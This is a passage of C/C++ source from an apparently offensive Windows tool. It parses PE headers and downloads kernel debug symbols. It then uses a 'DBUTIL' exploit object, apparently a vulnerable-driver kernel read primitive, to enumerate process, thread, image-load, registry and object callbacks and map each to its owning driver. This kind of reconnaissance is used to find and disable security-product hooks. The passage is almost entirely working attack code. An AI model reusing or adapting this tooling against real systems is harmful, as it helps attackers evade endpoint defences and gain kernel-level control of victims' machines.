&bytesRead, NULL) || bytesRead != fileSize) { 12 | free(fileContent); 13 | fileContent = NULL; 14 | } 15 | CloseHandle(hFile); 16 | return fileContent; 17 | } 18 | 19 | IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) { 20 | IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders; 21 | for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) { 22 | DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress; 23 | DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize; 24 | if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) { 25 | return §ionHeaders[sectionIndex]; 26 | } 27 | } 28 | return NULL; 29 | } 30 | 31 | PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) { 32 | PVOID peBase = pe->dosHeader; 33 | if (pe->isMemoryMapped) { 34 | return (PBYTE)peBase + rva; 35 | } 36 | 37 | IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva); 38 | if (NULL == rvaSectionHeader) { 39 | return NULL; 40 | } 41 | else { 42 | return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress); 43 | } 44 | } 45 | 46 | PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) { 47 | PE* pe = (PE*)calloc(1, sizeof(PE)); 48 | if (NULL == pe) { 49 | exit(1); 50 | } 51 | pe->isMemoryMapped = isMemoryMapped; 52 | pe->isInAnotherAddressSpace = FALSE; 53 | pe->hProcess = INVALID_HANDLE_VALUE; 54 | pe->dosHeader = (IMAGE_DOS_HEADER*)imageBase; // cast 55 | pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew); 56 | pe->optHeader = &pe->ntHeader->OptionalHeader; 57 | if (isMemoryMapped) { 58 | pe->baseAddress = imageBase; 59 | } 60 | else { 61 | pe->baseAddress = (PVOID)pe->optHeader->ImageBase; 62 | } 63 | pe->dataDir = pe->optHeader->DataDirectory; 64 | pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader); 65 | DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 66 | if (exportRVA == 0) { 67 | pe->exportDirectory = NULL; 68 | pe->exportedNames = NULL; 69 | pe->exportedFunctions = NULL; 70 | pe->exportedOrdinals = NULL; 71 | } 72 | else { 73 | pe->exportDirectory = (IMAGE_EXPORT_DIRECTORY*)PE_RVA_to_Addr(pe, exportRVA); 74 | pe->exportedNames = (LPDWORD)PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames); 75 | pe->exportedFunctions = (LPDWORD)PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions); 76 | pe->exportedOrdinals = (LPWORD)PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals); 77 | pe->exportedNamesLength = pe->exportDirectory->NumberOfNames; 78 | } 79 | pe->relocations = NULL; 80 | DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress; 81 | if (debugRVA == 0) { 82 | pe->debugDirectory = NULL; 83 | } 84 | else { 85 | pe->debugDirectory = (IMAGE_DEBUG_DIRECTORY*)PE_RVA_to_Addr(pe, debugRVA); 86 | if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) { 87 | pe->debugDirectory = NULL; 88 | } 89 | else { 90 | pe->codeviewDebugInfo = (PE_codeview_debug_info*)PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData); 91 | if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) { 92 | pe->debugDirectory = NULL; 93 | pe->codeviewDebugInfo = NULL; 94 | } 95 | } 96 | } 97 | return pe; 98 | } 99 | 100 | VOID PE_destroy(PE* pe) 101 | { 102 | if (pe->relocations) { 103 | free(pe->relocations); 104 | pe->relocations = NULL; 105 | } 106 | free(pe); 107 | } 108 | 109 | BOOL FileExistsW(LPCWSTR szPath) 110 | { 111 | DWORD dwAttrib = GetFileAttributesW(szPath); 112 | 113 | return (dwAttrib != INVALID_FILE_ATTRIBUTES && 114 | !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); 115 | } 116 | 117 | BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) { 118 | HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 119 | if (hFile == INVALID_HANDLE_VALUE) { 120 | return FALSE; 121 | } 122 | BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL); 123 | CloseHandle(hFile); 124 | return res; 125 | } 126 | 127 | BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) { 128 | ///wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri); 129 | // Get proxy configuration 130 | WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig; 131 | WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig); 132 | BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL); 133 | DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ? 134 | WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY; 135 | LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME; 136 | LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS; 137 | 138 | // Initialize HTTP session and request 139 | HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0); 140 | if (hSession == NULL) { 141 | printf("WinHttpOpen failed with error : 0x%x\n", GetLastError()); 142 | return FALSE; 143 | } 144 | HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0); 145 | if (!hConnect) { 146 | printf("WinHttpConnect failed with error : 0x%x\n", GetLastError()); 147 | return FALSE; 148 | } 149 | HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL, 150 | WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); 151 | if (!hRequest) { 152 | return FALSE; 153 | } 154 | 155 | // Configure proxy manually 156 | if (!proxySet) 157 | { 158 | WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions; 159 | autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT; 160 | autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; 161 | autoProxyOptions.fAutoLogonIfChallenged = TRUE; 162 | 163 | if (proxyConfig.lpszAutoConfigUrl != NULL) 164 | autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl; 165 | 166 | WCHAR szUrl[MAX_PATH] = { 0 }; 167 | swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri); 168 | 169 | WINHTTP_PROXY_INFO proxyInfo; 170 | WinHttpGetProxyForUrl( 171 | hSession, 172 | szUrl, 173 | &autoProxyOptions, 174 | &proxyInfo); 175 | 176 | WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo)); 177 | DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW; 178 | WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy)); 179 | } 180 | 181 | // Perform request 182 | BOOL bRequestSent; 183 | do { 184 | bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 185 | } while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST); 186 | if (!bRequestSent) { 187 | return FALSE; 188 | } 189 | BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL); 190 | if (!bResponseReceived) { 191 | return FALSE; 192 | } 193 | 194 | // Read response 195 | DWORD dwAvailableSize = 0; 196 | DWORD dwDownloadedSize = 0; 197 | SIZE_T allocatedSize = 4096; 198 | if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize)) 199 | { 200 | return FALSE; 201 | } 202 | *output = (PBYTE)malloc(allocatedSize); 203 | *output_size = 0; 204 | while (dwAvailableSize) 205 | { 206 | while (*output_size + dwAvailableSize > allocatedSize) { 207 | allocatedSize *= 2; 208 | PBYTE new_output = (PBYTE)realloc(*output, allocatedSize); 209 | if (new_output == NULL) 210 | { 211 | return FALSE; 212 | } 213 | *output = new_output; 214 | } 215 | if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize)) 216 | { 217 | return FALSE; 218 | } 219 | *output_size += dwDownloadedSize; 220 | 221 | WinHttpQueryDataAvailable(hRequest, &dwAvailableSize); 222 | } 223 | PBYTE new_output = (PBYTE)realloc(*output, *output_size); 224 | if (new_output == NULL) 225 | { 226 | return FALSE; 227 | } 228 | *output = new_output; 229 | WinHttpCloseHandle(hRequest); 230 | WinHttpCloseHandle(hConnect); 231 | WinHttpCloseHandle(hSession); 232 | return TRUE; 233 | } 234 | 235 | BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) { 236 | WCHAR full_pdb_uri[MAX_PATH] = { 0 }; 237 | swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w); 238 | return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size); 239 | } 240 | 241 | BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) { 242 | WCHAR pdb_name_w[MAX_PATH] = { 0 }; 243 | GUID guid = image_pe->codeviewDebugInfo->guid; 244 | DWORD age = image_pe->codeviewDebugInfo->age; 245 | MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w)); 246 | return DownloadPDB(guid, age, pdb_name_w, file, file_size); 247 | } 248 | 249 | symbol_ctx* LoadSymbolsFromPE(PE* pe) { 250 | symbol_ctx* ctx = (symbol_ctx*)calloc(1, sizeof(symbol_ctx)); 251 | if (ctx == NULL) { 252 | return NULL; 253 | } 254 | int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0); 255 | ctx->pdb_name_w = (LPWSTR)calloc(size_needed, sizeof(WCHAR)); 256 | MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed); 257 | if (!FileExistsW(ctx->pdb_name_w)) { 258 | PBYTE file; 259 | SIZE_T file_size; 260 | BOOL res = DownloadPDBFromPE(pe, &file, &file_size); 261 | if (!res) { 262 | free(ctx); 263 | return NULL; 264 | } 265 | WriteFullFileW(ctx->pdb_name_w, file, file_size); 266 | free(file); 267 | } 268 | else { 269 | //TODO : check if exisiting PDB corresponds to the file version 270 | } 271 | DWORD64 asked_pdb_base_addr = 0x1337000; 272 | DWORD pdb_image_size = MAXDWORD; 273 | HANDLE cp = GetCurrentProcess(); 274 | if (!SymInitialize(cp, NULL, FALSE)) { 275 | free(ctx); 276 | return NULL; 277 | } 278 | ctx->sym_handle = cp; 279 | 280 | DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0); 281 | while (pdb_base_addr == 0) { 282 | DWORD err = GetLastError(); 283 | if (err == ERROR_SUCCESS) 284 | break; 285 | if (err == ERROR_FILE_NOT_FOUND) { 286 | printf("PDB file not found\n"); 287 | SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak 288 | SymCleanup(cp); 289 | free(ctx); 290 | return NULL; 291 | } 292 | printf("SymLoadModuleExW, error 0x%x\n", GetLastError()); 293 | asked_pdb_base_addr += 0x1000000; 294 | pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0); 295 | } 296 | ctx->pdb_base_addr = pdb_base_addr; 297 | return ctx; 298 | } 299 | 300 | symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) { 301 | PVOID image_content = ReadFullFileW(image_file_path); 302 | PE* pe = PE_create(image_content, FALSE); 303 | symbol_ctx* ctx = LoadSymbolsFromPE(pe); 304 | PE_destroy(pe); 305 | free(image_content); 306 | return ctx; 307 | } 308 | // Save till here 309 | 310 | DWORD64 GetSymbolOffset(symbol_ctx* ctx, LPCSTR symbol_name) { 311 | SYMBOL_INFO_PACKAGE si = { 0 }; 312 | si.si.SizeOfStruct = sizeof(SYMBOL_INFO); 313 | si.si.MaxNameLen = sizeof(si.name); 314 | BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si); 315 | if (res) { 316 | return si.si.Address - ctx->pdb_base_addr; 317 | } 318 | else { 319 | return 0; 320 | } 321 | } 322 | 323 | DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) { 324 | SYMBOL_INFO_PACKAGE si = { 0 }; 325 | si.si.SizeOfStruct = sizeof(SYMBOL_INFO); 326 | si.si.MaxNameLen = sizeof(si.name); 327 | BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si); 328 | if (!res) { 329 | return 0; 330 | } 331 | 332 | TI_FINDCHILDREN_PARAMS* childrenParam = (TI_FINDCHILDREN_PARAMS*)calloc(1, sizeof(TI_FINDCHILDREN_PARAMS)); 333 | if (childrenParam == NULL) { 334 | return 0; 335 | } 336 | 337 | res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count); 338 | if (!res) { 339 | return 0; 340 | } 341 | TI_FINDCHILDREN_PARAMS* ptr = (TI_FINDCHILDREN_PARAMS*)realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG)); 342 | if (ptr == NULL) { 343 | free(childrenParam); 344 | return 0; 345 | } 346 | childrenParam = ptr; 347 | res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam); 348 | DWORD offset = 0; 349 | for (ULONG i = 0; i < childrenParam->Count; i++) { 350 | ULONG childID = childrenParam->ChildId[i]; 351 | WCHAR* name = NULL; 352 | SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name); 353 | if (wcscmp(field_name, name)) { 354 | continue; 355 | } 356 | SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset); 357 | break; 358 | } 359 | free(childrenParam); 360 | return offset; 361 | } 362 | 363 | void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) { 364 | SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr); 365 | SymCleanup(ctx->sym_handle); 366 | if (delete_pdb) { 367 | DeleteFileW(ctx->pdb_name_w); 368 | } 369 | free(ctx->pdb_name_w); 370 | ctx->pdb_name_w = NULL; 371 | free(ctx); 372 | } 373 | 374 | void FindDriver(DWORD64 address) { 375 | 376 | LPVOID drivers[1024]; 377 | DWORD cbNeeded; 378 | int cDrivers, i; 379 | DWORD64 diff[3][200]; 380 | TCHAR szDriver[1024]; 381 | 382 | if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { 383 | int n = sizeof(drivers) / sizeof(drivers[0]); 384 | cDrivers = cbNeeded / sizeof(drivers[0]); 385 | int narrow = 0; 386 | int c = 0; 387 | for (i = 0; i < cDrivers; i++) { 388 | //we add all smaller addresses of drivers to a new array, then grab the closest. Not great, I know... 389 | if (address > (DWORD64)drivers[i]) { 390 | diff[0][c] = address; 391 | diff[1][c] = address - (DWORD64)drivers[i]; 392 | diff[2][c] = (DWORD64)drivers[i]; 393 | c++; 394 | } 395 | } 396 | } 397 | //cheeky for loop to find the smallest diff. smallest diff should be the diff of DriverBase + Diff == Callback function. 398 | int k = 0; 399 | DWORD64 temp = diff[1][0]; 400 | for (k = 0; k < cDrivers; k++) { 401 | if ((temp > diff[1][k]) && (diff[0][k] == address)) { 402 | temp = diff[1][k]; 403 | 404 | } 405 | } 406 | 407 | if (GetDeviceDriverBaseName(LPVOID(address - temp), szDriver, sizeof(szDriver))) { 408 | std::cout << "[+] " << std::hex << address << " ["; 409 | std::wcout << szDriver << " + 0x"; 410 | std::cout << std::hex << (int)temp; 411 | std::cout << "]" << std::endl; 412 | } 413 | else { 414 | printf("[!] Could not resolve driver for %p\n", address); 415 | } 416 | 417 | } 418 | 419 | void EnumAllObjectsCallbacks(DBUTIL* ExploitManager, DWORD64 ntoskrnlBaseAddress) { 420 | LPTSTR ntoskrnlPath; 421 | TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 }; 422 | _tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("C:\\Windows\\System32\\ntoskrnl.exe")); 423 | ntoskrnlPath = g_ntoskrnlPath; 424 | // get object types count 425 | /*if (!Offset__OBJECT_TYPE_Name) { // yes->Symbols and offsets already loaded 426 | }*/ 427 | symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ntoskrnlPath); 428 | if (sym_ctx == NULL) { 429 | printf("Symbols not available, download failed, aborting...\n"); 430 | exit(1); 431 | } 432 | else { 433 | printf("[+] Symbols and Offsets now available!\n"); 434 | } 435 | 436 | GET_OFFSET(_OBJECT_TYPE, Name); 437 | GET_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects); 438 | GET_OFFSET(_OBJECT_TYPE, TypeInfo); 439 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags); 440 | GET_SYMBOL(ObpObjectTypes); 441 | GET_SYMBOL(ObpTypeObjectType); 442 | GET_SYMBOL(PspCreateProcessNotifyRoutine); 443 | GET_SYMBOL(PspLoadImageNotifyRoutine); 444 | GET_SYMBOL(PspCreateThreadNotifyRoutine); 445 | GET_SYMBOL(CallbackListHead); 446 | GET_OFFSET(_UNICODE_STRING, MaximumLength); 447 | GET_OFFSET(_UNICODE_STRING, Buffer); 448 | GET_OFFSET(_OBJECT_TYPE, CallbackList); 449 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags); 450 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, DumpProcedure); 451 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, OpenProcedure); 452 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, CloseProcedure); 453 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, DeleteProcedure); 454 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, ParseProcedure); 455 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, SecurityProcedure); 456 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, QueryNameProcedure); 457 | GET_OFFSET(_OBJECT_TYPE_INITIALIZER, OkayToCloseProcedure); 458 | //UnloadSymbols(sym_ctx, false); 459 | unsigned long long buffer[3]; 460 | 461 | /*printf("Symbol ObpTypeObjectType: 0x%llx\n", Sym_ObpTypeObjectType); 462 | printf("PspCreateProcessNotifyRoutine at: 0x%llx\n", Sym_PspCreateProcessNotifyRoutine); 463 | printf("PspCreateProcessNotifyRoutine at: 0x%llx\n", Sym_PspLoadImageNotifyRoutine); 464 | printf("CallbackListHead at: 0x%llx\n", Sym_CallbackListHead);*/ 465 | //ExploitManager->VirtualRead(*buffer + Offset__UNICODE_STRING_MaximumLength, &buffer, 1); 466 | //DWORD Offset__UNICODE_STRING_MaximumLength = *buffer; 467 | /*printf("Offset__OBJECT_TYPE_MaximumLength: 0x%llx\n", Offset__UNICODE_STRING_MaximumLength); 468 | printf("Offset__OBJECT_TYPE_CallbackList: 0x%llx\n", Offset__OBJECT_TYPE_CallbackList); 469 | printf("Offset__OBJECT_TYPE_TypeInfo: 0x%llx\n", Offset__OBJECT_TYPE_TypeInfo); 470 | printf("Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags); 471 | printf("Offset__OBJECT_TYPE_INITIALIZER_DumpProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_DumpProcedure); 472 | printf("Offset__OBJECT_TYPE_OpenProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_OpenProcedure); 473 | printf("Offset__OBJECT_TYPE_INITIALIZER_CloseProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_CloseProcedure); 474 | printf("Offset__OBJECT_TYPE_INITIALIZER_ParseProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_ParseProcedure); 475 | printf("Offset__OBJECT_TYPE_INITIALIZER_SecurityProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_SecurityProcedure); 476 | printf("Offset__OBJECT_TYPE_INITIALIZER_QueryNameProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_QueryNameProcedure); 477 | printf("Offset__OBJECT_TYPE_INITIALIZER_OkayToCloseProcedure: 0x%llx\n", Offset__OBJECT_TYPE_INITIALIZER_OkayToCloseProcedure);*/ 478 | 479 | printf("[+] Process creation callbacks:\n"); 480 | for (int i = 0; i < 64; i++) { 481 | unsigned long long PspCreateProcessNotifyRoutineAddr = ntoskrnlBaseAddress + Sym_PspCreateProcessNotifyRoutine; 482 | PspCreateProcessNotifyRoutineAddr = PspCreateProcessNotifyRoutineAddr + (i * 8); 483 | ExploitManager->VirtualRead(PspCreateProcessNotifyRoutineAddr, &buffer, 8); 484 | unsigned long long CurrentCallbackAddress = *buffer; 485 | if ((DWORD64)CurrentCallbackAddress == 0) 486 | continue; 487 | CurrentCallbackAddress &= ~(1ULL << 3) + 0x1; 488 | //printf("Bit-Operation: 0x%llx\n", CurrentCallbackAddress); // more simple....just SUBSTRACT 0x7 !!!!!! 489 | ExploitManager->VirtualRead(CurrentCallbackAddress, &buffer, 8); 490 | CurrentCallbackAddress = *buffer; 491 | printf("\t"); 492 | FindDriver(CurrentCallbackAddress); 493 | } 494 | 495 | printf("[+] Load image callbacks:\n"); 496 | for (int i = 0; i < 64; i++) { 497 | unsigned long long PspLoadImageNotifyRoutineAddr = ntoskrnlBaseAddress + Sym_PspLoadImageNotifyRoutine; 498 | PspLoadImageNotifyRoutineAddr = PspLoadImageNotifyRoutineAddr + (i * 8); 499 | ExploitManager->VirtualRead(PspLoadImageNotifyRoutineAddr, &buffer, 8); 500 | unsigned long long CurrentCallbackAddress = *buffer; 501 | if ((DWORD64)CurrentCallbackAddress == 0) 502 | continue; 503 | CurrentCallbackAddress &= ~(1ULL << 3) + 0x1; 504 | ExploitManager->VirtualRead(CurrentCallbackAddress, &buffer, 8); 505 | CurrentCallbackAddress = *buffer; 506 | printf("\t"); 507 | FindDriver(CurrentCallbackAddress); 508 | } 509 | 510 | printf("[+] Thread creation callbacks:\n"); 511 | for (int i = 0; i < 64; i++) { 512 | unsigned long long PspCreateThreadNotifyRoutineAddr = ntoskrnlBaseAddress + Sym_PspCreateThreadNotifyRoutine; 513 | PspCreateThreadNotifyRoutineAddr = PspCreateThreadNotifyRoutineAddr + (i * 8); 514 | ExploitManager->VirtualRead(PspCreateThreadNotifyRoutineAddr, &buffer, 8); 515 | unsigned long long CurrentCallbackAddress = *buffer; 516 | if ((DWORD64)CurrentCallbackAddress == 0) 517 | continue; 518 | CurrentCallbackAddress &= ~(1ULL << 3) + 0x1; 519 | ExploitManager->VirtualRead(CurrentCallbackAddress, &buffer, 8); 520 | CurrentCallbackAddress = *buffer; 521 | printf("\t"); 522 | FindDriver(CurrentCallbackAddress); 523 | } 524 | 525 | printf("[+] Registry R/W callbacks:\n"); 526 | unsigned long long CallbackListHeadAddr = ntoskrnlBaseAddress + Sym_CallbackListHead; 527 | ExploitManager->VirtualRead(CallbackListHeadAddr, &buffer, 8); 528 | unsigned long long CurrentCallbackAddress = *buffer; 529 | unsigned long long callback = CurrentCallbackAddress; 530 | do { 531 | ExploitManager->ReadMemory((CurrentCallbackAddress+0x8)+(8*4), &buffer, 8); 532 | callback = *buffer; 533 | printf("\t"); 534 | FindDriver(callback); 535 | ExploitManager->ReadMemory(CurrentCallbackAddress, &buffer, 8); 536 | CurrentCallbackAddress = *buffer; 537 | } while (CurrentCallbackAddress != CallbackListHeadAddr); 538 | 539 | ExploitManager->VirtualRead(ntoskrnlBaseAddress + Sym_ObpTypeObjectType, &buffer, 8); 540 | //printf("Dereferenced ObpTypeObjectType: 0x%llx\n", *buffer); 541 | if (*buffer == 0x0) { 542 | printf("[!]Error reading physical memory. Is driver running? Rerun program!\n"); 543 | exit(1); 544 | } 545 | unsigned long long ntoskrnl_OBJECT_TYPE = *buffer; 546 | 547 | //printf("Next read at: 0x%llx\n", *buffer + Offset__OBJECT_TYPE_TotalNumberOfObjects); 548 | ExploitManager->VirtualRead(*buffer + Offset__OBJECT_TYPE_TotalNumberOfObjects, &buffer, 1); 549 | uint8_t ntoskrnl_OBJECT_TYPE_TotalNumberOfObject = *buffer; 550 | unsigned long long ObjectType; 551 | 552 | for (DWORD i = 0; i < (DWORD)ntoskrnl_OBJECT_TYPE_TotalNumberOfObject; i++) { 553 | //printf("Next read at: 0x%llx\n", ntoskrnlBaseAddress + Sym_ObpObjectTypes + i * sizeof(DWORD64)); 554 | ExploitManager->ReadMemory(ntoskrnlBaseAddress + Sym_ObpObjectTypes + i * sizeof(DWORD64), &buffer, 8); 555 | ObjectType = *buffer; 556 | //printf("ObjectType at: 0x%llx\n", ObjectType); 557 | ExploitManager->ReadMemory(ObjectType + Offset__OBJECT_TYPE_Name + Offset__UNICODE_STRING_MaximumLength, &buffer, 8); // ? read maximum length 558 | uint8_t maxNameLength = *buffer; 559 | ExploitManager->ReadMemory(ObjectType + Offset__OBJECT_TYPE_Name + Offset__UNICODE_STRING_Buffer, &buffer, 8); 560 | WCHAR typeName[256] = { 0 }; // TODO: NOP change to dynamic allocation 561 | ExploitManager->ReadMemory(*buffer, typeName, maxNameLength); 562 | printf("[+] Object Type Name: %ls\n", typeName); 563 | ExploitManager->ReadMemory(ObjectType + Offset__OBJECT_TYPE_CallbackList, &buffer, 8); 564 | unsigned long long ObjectType_Callbacks_List = *buffer; 565 | DWORD64 supportsObjectCallback = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags; 566 | DWORD64 dumpProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_DumpProcedure; 567 | DWORD64 openProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_OpenProcedure; 568 | DWORD64 closeProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_CloseProcedure; 569 | DWORD64 deleteProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_DeleteProcedure; 570 | DWORD64 parseProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ParseProcedure; // also ParseProcedureEx 571 | DWORD64 securityProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_SecurityProcedure; 572 | DWORD64 queryNameProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_QueryNameProcedure; 573 | DWORD64 okayToCloseProcedure = ObjectType + Offset__OBJECT_TYPE_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_OkayToCloseProcedure; 574 | ExploitManager->ReadMemory(supportsObjectCallback, &buffer, 4); 575 | supportsObjectCallback = *buffer; 576 | DWORD64 mask = 1ULL << 6; 577 | bool sixth_bit = (supportsObjectCallback & mask) != 0; 578 | if (!sixth_bit) 579 | continue; // Doesnt Supported Callbacks 580 | ExploitManager->ReadMemory(dumpProcedure, &buffer, 8); 581 | dumpProcedure = *buffer; 582 | if (dumpProcedure) 583 | printf("\tDumpProcedure:"); FindDriver(dumpProcedure);//printf("\t[+] DumpProcedure: 0x%llx\n", dumpProcedure); 584 | 585 | ExploitManager->ReadMemory(openProcedure, &buffer, 8); 586 | openProcedure = *buffer; 587 | if (openProcedure) 588 | printf("\tOpenProcedure:"); FindDriver(openProcedure);//printf("\t[+] OpenProcedure: 0x%llx\n", openProcedure); 589 | 590 | ExploitManager->ReadMemory(closeProcedure, &buffer, 8); 591 | closeProcedure = *buffer; 592 | if (closeProcedure) 593 | printf("\tCloseProcedure:"); 